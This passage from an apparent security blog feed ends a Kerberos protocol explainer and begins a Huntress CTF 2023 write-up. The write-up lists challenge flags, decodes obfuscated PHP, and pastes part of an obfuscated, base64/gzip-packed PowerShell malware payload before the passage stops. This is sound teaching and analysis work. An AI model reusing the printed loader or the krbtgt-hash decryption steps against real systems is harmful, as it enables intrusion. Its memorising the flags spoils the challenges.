containing the first part of the ticket.</figcaption></figure><p>In the picture above, we see the first part of the ticket. It contains the tkt-vno which describes the version of the ticket (in this case, version 5). Additionally, there are the realm, sname, and enc-part fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VuvCaTNWssLiqfbfZgJfYg.png" /><figcaption>Decrypted Wireshark trace of the <strong>enc-part</strong> of the ticket.</figcaption></figure><p>Here we can see each of the fields for the enc-part of the ticket. I’ll go into detail about each of these fields in future posts.</p><p>You can use a keytab file to decrypt Kerberos traffic in Wireshark. To generate a keytab file you’ll need the hashes for the users whose communication you have captured. Once you have the hashes, you can use this <a href="https://github.com/dirkjanm/forest-trust-tools/blob/master/keytab.py">script</a> to generate a keytab file, you’ll need to change lines 112–118 and line 130 to decrypt traffic.</p><h3>Ticket exchange</h3><p>Now that I covered the basic data structure used, it’s time to move to the exchange of these data structures.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*j9WCB-ndwLcyTBahzzIv8A.png" /><figcaption>Diagram of the communication between the user, KDC, and server.</figcaption></figure><p>As you can see, there is an exchange of the following messages:</p><ul><li>AS-REQ</li><li>AS-REP</li><li>TGS-REQ</li><li>TGS-REP</li><li>AP-REQ</li><li>and AP-REP</li></ul><h3>AS-REQ</h3><p>The contents of the initial <a href="https://www.rfc-editor.org/rfc/rfc4120#section-5.5.1"><strong>AS-REQ</strong></a> are defined <a href="https://www.rfc-editor.org/rfc/rfc4120#section-5.4.1">in this part</a> of the RFC, but the most important parts are highlighted in the diagram below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*-zmOlNa5-kX_9QbVIDTcYg.png" /><figcaption>AS-REQ message</figcaption></figure><p>And the actual message in Wireshark:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*VacCVNq06TnWNZERN6yVTw.png" /><figcaption>Wireshark trace of the AS-REQ message.</figcaption></figure><p>We can compare the diagram and the actual message, we see the following:</p><ul><li>The message contains a padata structure. This is data that is sent before the authentication is concluded, in this case, it’s about the inclusion of an element called PAC . I’ll explain what the PAC is later, you can find the reference to the padata structure <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/765795ba-9e05-4220-9bd3-b34464e413a7">here</a>.</li><li>The username is found under cname, while the requested service name is found under sname. As a side note, in the initial exchange of messages, the service requested is the krbtgt service. This, in fact, is the Key Distribution Center as shown in the diagram above. Additional side note, the <strong>krbtgt </strong>account is a service account, which is why it’s always marked as “kerberoastable”.</li><li>We can also see the expiry date and the IP address (NetBIOS) in the request.</li></ul><p>The KDC, after receiving the <strong>AS-REQ</strong> message, looks up the password for the username and the requested service. Following that, the <strong>KDC </strong>calculates if the expiry date matches the settings in the domain and, in the case it matches, generates a random session key (<strong>TGS </strong>session key).</p><blockquote>Note that, in this case, the <strong>KDC</strong> hasn’t verified if the username inside the <strong>AS-REQ</strong> message is the same as the user who sent the message.</blockquote><p>As a final step, the KDC generates the <strong>AS-REP</strong> message by populating its fields and encrypting it.</p><h3>AS-REP</h3><p>The contents of the <strong>AS-REP</strong> message are displayed below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*KT4-bRYv4NggFotjH1GDNg.png" /><figcaption>Diagram of the AS-REP message.</figcaption></figure><p>The structure of the <strong>AS-REP</strong> message is explained in <a href="https://www.rfc-editor.org/rfc/rfc4120#section-5.4.2">Section 5.4.2 of RFC 4120</a>. Basically, it contains 2 sections.</p><p>The first section contains an encrypted structure, which in turn has the <strong>TGS</strong> session key, and the other contains the ticket (<strong>T</strong>icket <strong>G</strong>ranting <strong>T</strong>icket).</p><p>The first section is encrypted with the hash of the user’s password. The hash is generated using the <a href="https://kerberos.org/software/tutorial.html#1.3.4.3"><em>String2Key </em>function</a>, and only the user which requested the ticket can decrypt this part of the message (as it uses his password for encryption).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0xP07EmAmv_WO4LgnSZ2Ag.png" /><figcaption>Wireshark capture of the first structure.</figcaption></figure><p>We can see that the first part is found under the enc-part field. The Wireshark capture clearly shows:</p><ul><li>The nonce</li><li>TGS session key, displayed just as “key”</li><li>Expiry date</li></ul><p>The second part is the actual ticket (TGT) which is often associated with Kerberos. This structure, which is found under the appropriately named “ticket” field, is encrypted with the password hash of the <strong>krbtgt</strong> account.</p><p>The <strong>TGT</strong> contains:</p><ul><li>the TGS session key</li><li>username</li><li>and the <strong>PAC.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*iW8YwruubQ9hDn2SvudtSg.png" /><figcaption>Wireshark capture of the TGT.</figcaption></figure><p>The <strong>TGT </strong>follows the structure outlined for tickets, the decryption is possible since I generated the keytab using the <strong>krbtgt</strong> hash. We notice the following:</p><ul><li>Data used for authentication is inside the enc-part field.</li><li>The TGT contains the TGS session key, note that the session key is the same between both messages.</li><li>It contains the username of the user who requested access</li><li>Finally, the <strong>PAC</strong> is inside the authorization-data field.</li></ul><p>Once the user receives the <strong>AS-REP </strong>message, he can decrypt the first part of it, since it was encrypted with his password. Once decrypted, the client (user) compares the nonce he received with the one he sent, and if they are the same, the user moves to the next step.</p><blockquote>The nonce exists as a prevention mechanism for replay attacks.</blockquote><p>The next step is using the decrypted data to generate a new <strong>TGS-REQ</strong> request.</p><h3>Digression: PAC</h3><p>Kerberos, while it’s an authentication protocol, can also carry authorization data. Authorization can be understood as the privileges a user has over an entity. The <strong>PAC</strong> (<strong>P</strong>rivilege <strong>A</strong>ttribute <strong>C</strong>ertificate) is the means through which Kerberos passes authorization data. This extension of the Kerberos protocol is defined through <a href="https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-KILE/%5bMS-KILE%5d.pdf">MS-KILE</a> and <a href="https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-PAC/%5bMS-PAC%5d.pdf">MS-PAC</a>.</p><p>The <strong>PAC </strong>is found inside the authorization-data field. The field is described in RFC 4120:</p><blockquote>The authorization-data field is used to pass authorization data<br>from the principal on whose behalf a ticket was issued to the<br>application service.</blockquote><p>Further, the <strong>PAC</strong> is wrapped inside the <a href="https://www.rfc-editor.org/rfc/rfc4120#section-5.2.6.1"><strong>AD-IF-RELEVANT</strong></a> element. This field is necessary as not all services can understand the protocol extension, hence when they encounter this element, they just ignore it. There exists another layer of encapsulation known as <strong>AD-WIN2K-PAC</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*B4IsEigVUAegRLneN9waOA.png" /><figcaption>Structure of the PAC. Source: <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/21181737-74fd-492c-bfbd-0322993a9061">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/21181737-74fd-492c-bfbd-0322993a9061</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QN68f7BA9JUJM9mDIdssmw.png" /><figcaption>PAC as seen through Wireshark.</figcaption></figure><p>Wireshark shows the levels of encapsulation previously described. Also note that Wireshark, using the keytabs, verified the checksum <strong>twice</strong>. The <strong>PAC</strong> is signed using 2 signatures, the first signature is the server signature, while the second signature is the <strong>KDC </strong>signature. In this case, the service requested is the <strong>KDC </strong>service, so both signatures are the same.</p><p>The fact that the <strong>PAC</strong> uses 2 signatures is important, as later it leads to the possibility of silver tickets.</p><h3><strong>TGS-REQ</strong></h3><p>The structure of the <strong>TGS-REQ </strong>message is identical to the <strong>AS-REQ</strong> message:</p><pre>AS-REQ          ::= [APPLICATION 10] KDC-REQ<br><br>TGS-REQ         ::= [APPLICATION 12] KDC-REQ<br><br>KDC-REQ         ::= SEQUENCE {<br>        -- NOTE: first tag is [1], not [0]<br>        pvno            [1] INTEGER (5) ,<br>        msg-type        [2] INTEGER (10 -- AS -- | 12 -- TGS --),<br>        padata          [3] SEQUENCE OF PA-DATA OPTIONAL<br>                            -- NOTE: not empty --,<br>        req-body        [4] KDC-REQ-BODY<br>}<br><br>KDC-REQ-BODY    ::= SEQUENCE {<br>        kdc-options             [0] KDCOptions,<br>        cname                   [1] PrincipalName OPTIONAL<br>                                    -- Used only in AS-REQ --,<br>        realm                   [2] Realm<br>                                    -- Server&#39;s realm<br>                                    -- Also client&#39;s in AS-REQ --,<br>        sname                   [3] PrincipalName OPTIONAL,<br>        from                    [4] KerberosTime OPTIONAL,<br>        till                    [5] KerberosTime,<br>        rtime                   [6] KerberosTime OPTIONAL,<br>        nonce                   [7] UInt32,<br>        etype                   [8] SEQUENCE OF Int32 -- EncryptionType<br>                                    -- in preference order --,<br>        addresses               [9] HostAddresses OPTIONAL,<br>        enc-authorization-data  [10] EncryptedData OPTIONAL<br>                                    -- AuthorizationData --,<br>        additional-tickets      [11] SEQUENCE OF Ticket OPTIONAL<br>                                       -- NOTE: not empty<br>}</pre><p>The difference comes from the padata field. In the case of the <strong>TGS-REQ </strong>message, it contains an <strong>AP-REQ</strong> message. From RFC 4120:</p><blockquote>In the case of requests for additional tickets (<strong>KRB_TGS_REQ</strong>),<br>padata-value will contain an encoded <strong>AP-REQ</strong>.</blockquote><p>The structure of the <strong>AP-REQ</strong> message is described <a href="https://www.rfc-editor.org/rfc/rfc4120#section-5.5.1">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/967/1*jbxp8hdoK8PEQC9P_nllkA.png" /><figcaption>Wireshark trace of the TGS-REQ message.</figcaption></figure><p>All the sensitive data is transferred through this <strong>AP-REQ</strong> field. Here’s a diagram of the data before I show the full Wireshark trace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/1*neRHoO3eyPhDRVTQNq5-sg.png" /><figcaption>Diagram of the TGS-REQ message.</figcaption></figure><p>We see that the ticket from the <strong>AS-REP</strong> message is just copied over to the <strong>TGS-REQ</strong> message. This makes sense, the user can’t alter any data in it as he doesn’t possess the encryption key for the <strong>TGT</strong>.</p><p>The message also contains a structure encrypted with the <strong>TGS</strong> session key, which the user obtained from the previous message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MByxVyRxWiFbgljJXEeLDA.png" /><figcaption>Wireshark trace of the authenticator field.</figcaption></figure><p>Wireshark decrypted the authenticator field automatically by reading the <strong>TGS</strong> session key from the previous packet. The ticket field contains the same ticket discussed in the <strong>AS-REP</strong> message, so no need to discuss it here.</p><p>After the <strong>KDC </strong>receives the <strong>TGS-REQ</strong> message, it first decrypts the authenticator field, from which it extracts the checksum. Additionally, the <strong>KDC </strong>generates a checksum of the message and compares these 2 checksums to detect any tampering. In case of any tampering, the message is rejected.</p><p>Finally, the <strong>KDC </strong>proceeds with the creation of the <strong>TGS-REP</strong> message.</p><h3>TGS-REP</h3><p>The <strong>KDC </strong>generates the <strong>TGS-REP</strong> message with the following data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*bt2S7a5tMLvDiPT8OTzXwg.png" /><figcaption>Diagram of the TGS-REP message.</figcaption></figure><p>The <strong>TGS-REP </strong>message is similar to the <strong>AS-REP</strong> message, both contain an additional part. In the case of the <strong>TGS-REP</strong> the additional part is the <strong>TGS</strong> ticket itself. You can think of the <strong>TGS </strong>ticket as a <strong>TGT </strong>which has been issued for a service.</p><p>The first part of the response message is encrypted with the service session key which has been used before. The second part is encrypted with the key of the service owner for which we requested access. Additionally, the PAC is now signed with the <strong>krbtgt</strong> hash AND the service owner hash.</p><p>The user, after receiving the <strong>TGS-REP</strong> message, decrypts the first part of it, since he already knows the TGS session key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7bhqrtS1Fa7TsSLDPjKUjQ.png" /><figcaption>Decrypted part of the TGS-REP message.</figcaption></figure><p>The decrypted part reveals what was already pointed out in the diagram above:</p><ul><li>A service session key inside the key field</li><li>The user nonce which is the same as the nonce used for the <strong>TGS-REQ</strong> message</li><li>and an expiry date for the <strong>TGS</strong> ticket</li></ul><p>The <strong>TGS</strong> is encrypted with the hash of the requested service, and as such, the user can’t decrypt it.</p><p>With this message, the user ends communication with the <strong>KDC</strong> and starts communication with the service itself. This is achieved through the use of the <strong>AP-REQ</strong> message.</p><h3>AP-REQ</h3><p>The user generates the <strong>AP-REQ</strong> message by encrypting the following fields:</p><ul><li>Username</li><li>Timestamp</li></ul><p>with the service session key extracted from the <strong>TGS-REP</strong> message, and by appending the <strong>TGS</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*wLypInn23sh7zhno0geYdQ.png" /><figcaption>Diagram of the AP-REQ request.</figcaption></figure><blockquote>Sadly, I don’t have the Wireshark trace of this communication as I was listening on the DC, and the AP-REQ request goes to the server.</blockquote><p>The server, or service, can decrypt the <strong>TGS</strong>, from which it can extract the service session key to decrypt the authenticator.</p><p>From there, the server/service verifies if the authenticator contains the same username as the <strong>TGS. </strong>The server checks the timestamp with it’s local cache to prevent replay attacks and calculates the age of the ticket and verifies if it’s beyond the expiration date.</p><p>Finally, the server/service verifies the <strong>AP-REQ</strong> by either verifying its signature inside the <strong>PAC</strong>, or by verifying its signature and passing the <strong>PAC</strong> to the <strong>KDC </strong>so its own signature can be verified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*KCuveIQfNLNpeisikgdo5w.png" /><figcaption>Diagram of the latter case.</figcaption></figure><p>The steps are described in the <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84"><strong>MS-APDS</strong></a> document:</p><ul><li>The client tries to access a resource requiring Kerberos<strong> </strong>authentication. The client sends an <strong>AP-REQ</strong> message to request authentication from the server.</li><li>The server passes the PAC to the operating system to receive an access token. The server operating system forwards the PAC signature in the <strong>AP-REQ</strong> to the domain controller for verification in a <strong>KERB_VERIFY_PAC</strong> message.</li><li>The domain controller verifies the signature on the response and returns the result to the server. The error is returned as the appropriate <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/a00d0b83-97e3-44ad-ba2d-1221d4f51a35#gt_8a7f6700-8311-45bc-af10-82e10accd331">RPC</a> status code.</li><li>The server verifies the <strong>AP-REQ</strong>, and sends an <strong>AP-REP</strong> if the verification is successful.</li></ul><p>Once all these checks are passed, the server/service generates an <strong>AP-REP</strong> message.</p><blockquote>It’s important to note that all these checks only mean that the user AUTHENTICATED to the server/service. The application must make a separate authorization decision.</blockquote><h3><strong>AP-REP</strong></h3><p>This is the end of the Kerberos communication, and is equivalent of the <strong>ACK</strong> packet in TCP/IP.</p><p>The user decrypts the ticket using the session key, and if successful, it communicates to the user that the server/service is authentic, as only the correct server/service could’ve decrypted the <strong>AP-REQ</strong> to obtain the session key.</p><p>With this, the process of authentication ends, as both the user and the server/service trust each other.</p><h3>TL;DR</h3><p>If the post was too long, here’s a short summary:</p><ul><li>User wants to establish a session with a server/service, but doesn’t trust it yet.</li><li>Both the user and the server/service trust the <strong>KDC</strong> (<strong>K</strong>ey <strong>D</strong>istribution <strong>C</strong>enter)</li><li>The user sends an <strong>AS-REQ</strong> message to the <strong>A</strong>uthentication <strong>S</strong>ervice (part of the <strong>KDC</strong>)</li><li>The <strong>KDC</strong> replies with an <strong>AS-REP</strong> message, which contains an authenticator (encrypted with the users password) and a <strong>TGT</strong> (<strong>T</strong>icket <strong>G</strong>ranting <strong>T</strong>icket)</li><li>The user sends the <strong>TGT</strong> to the <strong>T</strong>icket <strong>G</strong>ranting <strong>S</strong>ervice through the <strong>TGS-REQ</strong> message. Part of the message is encrypted with the <strong>TGS</strong> session key. From this point on, the <strong>KDC</strong> has verified that the user is who he says he is, as only the actual user could’ve decrypted the previous message to extract the <strong>TGS </strong>session key.</li><li>The <strong>KDC</strong> replies with the <strong>TGS-REP</strong> message, which now contains a <strong>TGS</strong> ticket encrypted with the secret key of the service (it’s own password).</li><li>The user decrypts the previous message, and uses the <strong>service session key</strong> to encrypt the <strong>AP-REQ</strong> message.</li><li>The server/service decrypts the <strong>TGS </strong>and extracts the service session key. From there it verifies that the username matches between the authenticator and the <strong>TGS </strong>ticket. The server/service now trusts the user.</li><li>Finally, the <strong>AP-REP </strong>is encrypted with the service session key. The user decrypts the message and confirms the authenticity of the server/service.</li><li>A mutual trust between the user and the server/service has been established.</li></ul><h3>Sources</h3><p>Here’s a list of resources I used that might come in handy:</p><ul><li>This video from Destination Certification: <a href="https://www.youtube.com/watch?v=5N242XcKAsM">https://www.youtube.com/watch?v=5N242XcKAsM</a></li><li>This blog post: <a href="https://www.tarlogic.com/blog/how-kerberos-works">https://www.tarlogic.com/blog/how-kerberos-works</a></li><li>And this blog post: <a href="https://syfuhs.net/a-bit-about-kerberos">https://syfuhs.net/a-bit-about-kerberos</a></li><li>Rest comes from RFC 4120: <a href="https://www.rfc-editor.org/rfc/rfc4120">https://www.rfc-editor.org/rfc/rfc4120</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39a1922ec5ac" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/introduction-to-kerberos-39a1922ec5ac">Introduction to Kerberos</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Huntress CTF 2023 — Write-up]]></title>
            <link>https://infosecwriteups.com/huntress-ctf-2023-write-up-ac99d4aa8738?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ac99d4aa8738</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[scripting]]></category>
            <category><![CDATA[huntress]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Wed, 01 Nov 2023 09:44:29 GMT</pubDate>
            <atom:updated>2023-11-11T07:40:44.705Z</atom:updated>
            <content:encoded><![CDATA[<h3>Huntress CTF 2023 — Write-up</h3><p>Welcome to a write-up of the Huntress 2023 CTF. I took part in this CTF as a member of <strong>The Taggart Institute</strong> team along with:</p><ul><li>Taggart — <a href="https://discord.com/invite/taggartinstitute">https://discord.com/invite/taggartinstitute</a></li><li>Anoob — <a href="https://notateamserver.xyz/">https://notateamserver.xyz/</a></li><li>and Niceur — <a href="https://seanedevane.com/">https://seanedevane.com/</a></li></ul><p>Do check them out, they are much smarter than me. Also join the Taggart Discord for additional brain wrinkles.</p><p>Obligatory certification sharing:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*FPSMQdAkDkoun7MQIaHC1w.png" /><figcaption>You love to see it.</figcaption></figure><h3>Contents</h3><p>Below will be a link to each day, feel free to use them to jump around:</p><ul><li><a href="#c499">Day 1</a></li><li><a href="#e148">Day 2</a></li><li><a href="#cc1a">Day 3</a></li><li><a href="#9250">Day 4</a></li><li><a href="#3422">Day 5</a></li><li><a href="#cb9d">Day 6</a></li><li><a href="#6655">Day 7</a></li><li><a href="#5ad3">Day 8</a></li><li><a href="#cf80">Day 9</a></li><li><a href="#eaec">Day 10</a></li><li><a href="#8a54">Day 11</a></li><li><a href="#df33">Day 12</a></li><li><a href="#6022">Day 13</a></li><li><a href="#fcce">Day 14</a></li><li><a href="#8d99">Day 15</a></li><li><a href="#81da">Day 16</a></li><li><a href="#ec88">Day 17</a></li><li><a href="#551a">Day 18</a></li><li><a href="#2186">Day 19</a></li><li><a href="#f531">Day 20</a></li><li><a href="#3bf4">Day 21</a></li><li><a href="#7a67">Day 22</a></li><li><a href="#ffdf">Day 23</a></li><li><a href="#95cb">Day 24</a></li><li><a href="#7925">Day 25</a></li><li><a href="#5684">Day 26</a></li><li><a href="#d7f6">Day 27</a></li><li><a href="#1489">Day 28</a></li><li><a href="#042d">Day 29</a></li><li><a href="#3ea7">Conclusion</a></li></ul><h3>Day 1</h3><p>Day 1 challenges were pretty tame and were just a warm-up for the CTF. The first day challenges were:</p><ul><li>Technical Support</li><li>Read The Rules</li><li>Notepad</li><li>String Cheese</li><li>Query Code</li><li>Zerion</li></ul><p>Technical Support required you to join the Discord server for this CTF. Once joined, the flag was in the #ctf-open-ticket channel.</p><p>The flag was: <strong><em>flag{a98373a74abb8c5ebb8f5192e034a91c}</em></strong></p><p>Read The Rules required you to read the rules of the CTF. Upon reading the rules you’d stumble upon the following hint: <em>If you look closely, you can even find a flag on this page</em>. With this in mind using <strong>View Page Source</strong>, you’d find the flag inside an HTML comment.</p><p>The flag was: <strong><em>flag{90bc54705794a62015369fd8e86e557b}</em></strong></p><p>The Notepad challenge required you to download and open a file. Once opened, the flag would be right there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*BNdhy-rR2GYH8qe_psGJ0Q.png" /><figcaption>The content of the Notepad file.</figcaption></figure><p>The flag was: <strong><em>flag{2dd41e3da37ef1238954d8e7f3217cd8}</em></strong></p><p>String Cheese, as its named suggested, required you to run strings on the downloaded file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/315/1*yd18Klwki7QuSxWUulyMeg.png" /><figcaption>Using strings and grep to obtain the flag.</figcaption></figure><p>The flag was: <strong><em>flag{f4d9f0f70bf353f2ca23d81dcf7c9099}</em></strong></p><p>Query Code required you to read a QR code. <a href="https://gchq.github.io/CyberChef/">CyberChef </a>has a neat utility for reading QR codes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4fIJOwHEDCd8w2D2fTyiuw.png" /><figcaption>QR parser.</figcaption></figure><p>The flag was: <strong><em>flag{3434cf5dc6a865657ea1ec1cb675ce3b}</em></strong></p><p>The Zerion challenge was an encoded PHP file, the script provided the steps to decode the string via the following function: <em>base64_decode(strrev(str_rot13($L66Rgr[1])))</em></p><p>To get the flag you needed to:</p><ul><li>ROT 13 “decrypt” the encoded string,</li><li>then reverse the string,</li><li>and finally, base64 decode the string.</li></ul><p>Once done the flag could be easily found in the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*6cYN1JPX3pF1wuMSzEgoqQ.png" /><figcaption>Using CyberChef and his recipes to decode the string.</figcaption></figure><p>The flag was: <strong><em>flag{af10370d485952897d5183aa09e19883}</em></strong></p><p>And with that, the first day was over.</p><h3>Day 2</h3><p>Day 2 challenges were:</p><ul><li>Book By Its Covers</li><li>HumanTwo</li><li>Hot Off The Press</li></ul><p>The challenge file for Book By Its Covers had the .zip file extension. Running the file command on it resulted in it being actually a PNG file. Opening the file in any photo editor revealed the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6VrkZF_xPO3vIXmHUfLXAw.png" /><figcaption>CybeChef has a recipe for optical character recognition which can be useful in case you don’t want to transcribe the text of an image.</figcaption></figure><p>Shout out to Ninceur, as he was the one to solve this challenge for our team.</p><p>The flag was: <strong><em>flag{f8d32a346745a6c4bf4e9504ba5308f0}</em></strong></p><p>HumanTwo required you to find the flag hidden in one file out of a thousand. The first step of finding the flag was to find where the files differed, the Linux tool diff would be the best candidate to figure this out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McakOfySEjrSahlhul7nSA.png" /><figcaption>Output of the diff command.</figcaption></figure><p>After that, a simple grep -r &quot;String.Equals&quot; . would output that line for each challenge file. One of the output strings was longer than the others, and converting the string from hex resulted in the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SVuQ--soBBq78hSAjPVdEg.png" /><figcaption>Output from CyberChef.</figcaption></figure><p>The flag was: <strong><em>flag{6ce6f6a15dddb0ebb332bfaf2b0b85d1}</em></strong></p><p>Hot Of The Press was a malder solely due to the fact that it was a UHarc archive. It first required me to find a UHarc tool which wasn’t backdoored, Taggart provided me with this useful <a href="https://github.com/mhdfasilwyd/UHARC-Collection">GitHub link</a>. After that, the binary required the file to have the .uha extension even though in the help menu it’s mentioned to be optional, and finally, the binary required the password to be passed before the UHarc file name.</p><p>The correct syntax for decompression:</p><pre>Tecuha.exe x -pwinfected hot_off_the_press.uha</pre><p>With that, you obtain a PowerShell script. The next step was to deobfuscate the whole script. Of note was the following section of the PowerShell script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OEsMOlf03SzWD0Ahb8MjmQ.png" /><figcaption>This part of the script would first base64 decode the obfuscated part and then Gzip decompress it before executing it.</figcaption></figure><p>To speed up the process of deobfuscation you can use PowerShell to deobfuscate itself. For example, inputting this into PowerShell (text from the picture above):</p><pre>((&#39;H4sI&#39;+&#39;AIeJ&#39;+&#39;G2UC/+1X&#39;+&#39;bU/jOBD+3l9hrS&#39;+&#39;IlkU{0}&#39;+&#39;VFvb{1}IiFdWqD&#39;+&#39;bPRJKS8vR&#39;+&#39;brUKy&#39;+&#39;TR168TFcQplb//7&#39;+&#39;jfNSygJ73{1}lI94F&#39;+&#39;IVvwyMx4/M&#39;+&#39;7YfT9PYl5TH&#39;+&#39;hH7sku8VUnxd&#39;+&#39;T3gRMTT/ku&#39;+&#39;/fWUSjS3Mzp&#39;+&#39;oX7zCWHxBjby+UR&#39;+&#39;jzwaTw4OWq&#39;+&#39;kQ{1}M&#39;+&#39;u8XW2&#39;+&#39;DtJM{1}&#39;+&#39;omtGI&#39;+&#39;TFM8he5nIGAnbP&#39;+&#39;rOfiSf&#39;+&#39;Cfat2qb8W&#39;+&#39;uPFW{0}rlufP&#39;+&#39;gOzYcaD&#39;+&#39;GTrnvKbeq/&#39;+&#39;SWj0tC/ftXN8U5&#39;+&#39;9Uj2+ST2&#39;+&#39;WGHp/nUiIqgFjuk&#39;+&#39;l+mGrCi/USDN2&#39;+&#39;hvuAJn8rqJY&#39;+&#39;13G9VBn&#39;+&#39;HhTcNHa&#39;+&#39;ChyQMx4&#39;+&#39;kul&#39;+&#39;nZ{0}{1}a&#39;+&#39;AT{1}Wcr0kZyUUMHa&#39;+&#39;tdwX0&#39;+&#39;7CAQkiW6RsTI&#39;+&#39;/nkx+N8bF&#39;+&#39;3{0}00&#39;+&#39;ljS&#39;+&#39;CaieWIPiyD&#39;+&#39;2JFfUiq&#39;+&#39;n704YNC&#39;+&#39;D6QS1+l{0}Q&#39;+&#39;OJyYJoq&#39;+&#39;t+AIM{0}U4Zs8&#39;+&#39;i/MWO4c&#39;+&#39;Fsi91olY1sJpbpS&#39;+&#39;mBYG&#39;+&#39;9Jl1OjxIG&#39;+&#39;eSa+jOO&#39;+&#39;5kl&#39;+&#39;g4pcngl&#39;+&#39;n5UalMy7&#39;+&#39;yJvPq&#39;+&#39;3o6eZs2mX&#39;+&#39;3zgbAHTX6PK&#39;+&#39;{1}Zr&#39;+&#39;qHp&#39;+&#39;GYRBy&#39;+&#39;f2JBdrbGoXIgVz&#39;+&#39;sgGbaNGe/Yf&#39;+&#39;1SmP1UhP1V&#39;+&#39;u0U&#39;+&#39;e8ZDToP&#39;+&#39;JRn0r&#39;+&#39;7tr0pj38q{1}&#39;+&#39;ReTuIjmNI&#39;+&#39;YjtaxF1G/&#39;+&#39;zFPjuWjAl{1}{1}GR&#39;+&#39;7UUc9{1}9Qy8&#39;+&#39;GIDgCB&#39;+&#39;q{1}nFb4qKZ6oHU&#39;+&#39;dUbnSbKWUB&#39;+&#39;CNvHiCb&#39;+&#39;oFQbbfO&#39;+&#39;xMHjJD78QORAhd3&#39;+&#39;sYs&#39;+&#39;1aa4O6&#39;+&#39;CU{0}nb&#39;+&#39;{1}upxdtVFIbz{1}v&#39;+&#39;SSzSTXF7+hbpg8c&#39;+&#39;gsIgdJ7QYs&#39;+&#39;lPJs6r+4K6T&#39;+&#39;Mkl9{0}5Glu&#39;+&#39;Yn5{1}5zFtC&#39;+&#39;0eJ1KkPgYVIbj&#39;+&#39;o{0}8&#39;+&#39;GnHlOIWO&#39;+&#39;QzDaC57&#39;+&#39;tOwnF5/Fo+Wxx&#39;+&#39;juG7S0wnhgj8&#39;+&#39;Kh{0}1Wq&#39;+&#39;CPQ0Swuz2g&#39;+&#39;fZiZYMIpTJjosT5&#39;+&#39;oV4&#39;+&#39;OBS7I&#39;+&#39;8st{0}4RAf8HRc&#39;+&#39;hPkGa+Q&#39;+&#39;KSHZchP&#39;+&#39;D3WdcWmRIhcTDR6&#39;+&#39;GM2fVfnHhy&#39;+&#39;6uTOtAQ&#39;+&#39;UwTGyvTVur&#39;+&#39;qXKfi0+P&#39;+&#39;W8sVI4WAGVwCI&#39;+&#39;lQn&#39;+&#39;AgeNb0{1}ftv{0}Dxjj&#39;+&#39;Q6dlh+/lvbyX&#39;+&#39;9/K/{0}22X+XG&#39;+&#39;vHr&#39;+&#39;RZ0mnV635&#39;+&#39;0N7&#39;+&#39;+6d&#39;+&#39;Pmob8sR&#39;+&#39;bf{0}gc+/2j&#39;+&#39;O6vT&#39;+&#39;ufHt856786&#39;+&#39;dO6lz{1}e5i&#39;+&#39;e302D2/PjuxV&#39;+&#39;tzFMr&#39;+&#39;xqfFqP{0}3nQU3&#39;+&#39;c1G&#39;+&#39;9zXmzq+&#39;+&#39;YGzn4P8b&#39;+&#39;iM7f&#39;+&#39;Rwf85lk&#39;+&#39;4+Nh8w5&#39;+&#39;36Q1Z17P6vn7&#39;+&#39;WP8h1gW2R/n+0&#39;+&#39;m2g8UuZ&#39;+&#39;M{0}M3kN7UYyHh&#39;+&#39;T17M5+aw22&#39;+&#39;ch1+GvZO{0}oc3+bF&#39;+&#39;+FX2jz&#39;+&#39;PmifrIOWvTq&#39;+&#39;nNhse&#39;+&#39;D91Ba+iPwsPD&#39;+&#39;D2ZlPKCx3G1M1{1}W&#39;+&#39;+qwhS&#39;+&#39;RWP+p/&#39;+&#3